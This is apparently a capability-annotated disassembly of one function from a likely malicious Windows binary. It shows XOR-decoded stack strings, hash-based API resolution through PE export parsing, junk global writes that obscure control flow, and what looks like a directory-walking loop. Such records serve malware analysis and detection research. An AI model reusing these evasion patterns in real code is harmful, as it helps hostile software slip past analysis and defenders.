Function at 0x410648
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x4ac
mov al, byte [0x42c898]
push ebx
push ebp
push esi
push edi
or al, 0x1a
mov dword [esp + 0x40], edx
push 0x1000
mov ebp, ecx
mov byte [0x42c916], al
call fcn.0040570b
movzx edx, byte [0x42c8b8]
mov esi, eax
pop ecx
mov cl, byte [0x42c8aa]
mov eax, 0x248f
push dword [esp + 0x4c4]
imul edx, edx, 0xb1
and cl, 0xc0
mov byte [0x42c916], cl
movzx ecx, dl
sub cx, ax
mov byte [0x42c898], dl
mov word [0x42c8b8], cx
call fcn.0040702c
mov dl, byte [0x42c916]
mov ebx, eax
pop ecx
mov cl, dl
mov dword [esp + 0x44], ebx
or cl, 0x6e
mov byte [0x42c898], cl
test esi, esi
je 0x410a2c
push 0x7c
pop eax
mov word [esp + 0x38], ax
sub dl, 0xd
xor eax, eax
and dword [esp + 0x3c], 0
mov word [esp + 0x3a], ax
and dl, 0x5e
movzx eax, dl
imul eax, eax, 0xca
movzx ecx, dl
mov byte [0x42c8aa], dl
mov byte [0x42c916], al
mov eax, 0x6da0
imul ecx, eax
mov eax, 0x976c
and cx, ax
movzx eax, dl
imul eax, eax, 0xe6
mov word [0x42c8b8], cx
mov byte [0x42c898], al
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x3c]
push eax
push ebx
call fcn.004057dc
movzx ecx, byte [0x42c8b8]
mov edi, eax
imul edx, ecx, 0x61
add esp, 0xc
movzx ecx, dl
imul ecx, ecx, 0xdf
mov byte [0x42c916], dl
or cl, 0x33
mov byte [0x42c898], cl
test edi, edi
je 0x410a02
mov ebx, dword [esp + 0x40]
mov dword [esp + 0x18], 0x517e6128
xor eax, eax
mov dword [esp + 0x1c], 0x6c6e6241
mov dword [esp + 0x20], 0x75482d61
mov dword [esp + 0x24], 0x7e636879
mov dword [esp + 0x28], 0x2d636264
mov dword [esp + 0x2c], 0x7979685e
mov dword [esp + 0x30], 0x7e6a6364
mov dword [esp + 0x34], 0x7e612851
movq xmm1, qword [esp + eax + 0x18]
movq xmm0, qword [0x429fa0]
pxor xmm1, xmm0
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movups xmmword [esp + eax*2 + 0x70], xmm1
add eax, 8
cmp eax, 0x20
jl 0x4107ac
xor eax, eax
mov ecx, 0xcb14
mov word [esp + 0xb0], ax
movzx eax, dl
mov edx, 0xf89245cb
and ax, cx
xor ecx, ecx
mov word [0x42c8b8], ax
inc ecx
lea eax, [esp + 0xb8]
push edi
push eax
call fcn.00415333
call eax
movzx ecx, byte [0x42c916]
mov eax, 0x9aa
imul ecx, eax
mov al, byte [0x42c8aa]
sub al, 0x39
mov byte [0x42c898], al
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x3c]
mov word [0x42c8b8], cx
push eax
push 0
call fcn.004057dc
add byte [0x42c916], 0x61
add esp, 0xc
and byte [0x42c898], 0xe8
mov edx, 0xe3740fb6
xor ecx, ecx
push eax
push ebx
lea eax, [esp + 0x78]
push eax
push 0x800
push esi
call fcn.00415333
call eax
mov al, byte [0x42c916]
add esp, 0x14
xor ecx, ecx
xor al, 0x3d
mov edx, 0xeeb55893
mov byte [0x42c8aa], al
inc ecx
push esi
call fcn.00415333
call eax
mov cl, byte [0x42c8aa]
mov dx, word [0x42c8b8]
mov byte [esp + 0x17], cl
xor cl, 0x3d
mov byte [0x42c916], cl
mov cl, dl
and cl, 0x7f
cmp eax, 0xffffffff
je 0x4109a8
test al, 0x10
je 0x4109a8
mov dword [esp + 0x18], 0xebebe0d6
xor ecx, ecx
mov dword [esp + 0x1c], 0xaef2f3e4
mov dword [esp + 0x20], 0xdef2eba4
mov dword [esp + 0x24], 0xdef2eba4
mov word [esp + 0x28], 0xeba4
mov byte [esp + 0x2a], 0xf2
movzx eax, byte [esp + ecx + 0x18]
mov edi, 0xff
sub ax, 0x7f
and ax, di
mov word [esp + ecx*2 + 0x48], ax
inc ecx
cmp ecx, 0x13
jl 0x4108e1
push dword [esp + 0x4c0]
xor eax, eax
mov word [esp + 0x72], ax
movzx eax, dl
imul eax, eax, 0xb1
push ebp
mov byte [0x42c898], al
mov al, byte [esp + 0x1f]
sub al, 0x2b
mov byte [0x42c916], al
lea eax, [esp + 0xc0]
push eax
lea eax, [esp + 0x54]
push eax
call fcn.004233ac
mov dx, word [0x42c8b8]
mov edi, eax
movzx ecx, dl
add esp, 0x10
imul eax, ecx, 0xbf
movzx ecx, dl
imul ecx, ecx, 0x7e
mov byte [0x42c916], al
mov byte [0x42c8aa], cl
test edi, edi
je 0x4109a2
xor al, 0x2c
mov ecx, 0x33dd
mov byte [0x42c916], al
mov edx, edi
movzx eax, al
add ax, cx
mov ecx, esi
mov word [0x42c8b8], ax
call fcn.0041e502
movzx eax, byte [0x42c8b8]
imul eax, eax, 0xc7
push edi
mov byte [0x42c916], al
call fcn.004056f0
mov dx, word [0x42c8b8]
pop ecx
mov cl, byte [0x42c898]
mov eax, 0x7816
xor dx, ax
movzx eax, cl
imul eax, eax, 0x85
mov word [0x42c8b8], dx
mov byte [0x42c8aa], al
movzx eax, al
imul eax, eax, 0xcc
mov byte [0x42c898], al
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
call fcn.004057dc
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4109f8
mov dl, byte [0x42c916]
jmp 0x41076a
mov cl, byte [0x42c898]
mov ebx, dword [esp + 0x44]
mov al, byte [0x42c8aa]
and al, 0xdb
mov byte [0x42c916], al
movzx eax, cl
mov ecx, 0x59d9
sub ax, cx
push esi
mov word [0x42c8b8], ax
call fcn.004056f0
mov dl, byte [0x42c916]
pop ecx
and byte [0x42c8aa], 0x38
mov eax, 0x9019
movzx ecx, dl
imul ecx, eax
push ebx
mov word [0x42c8b8], cx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4ac
ret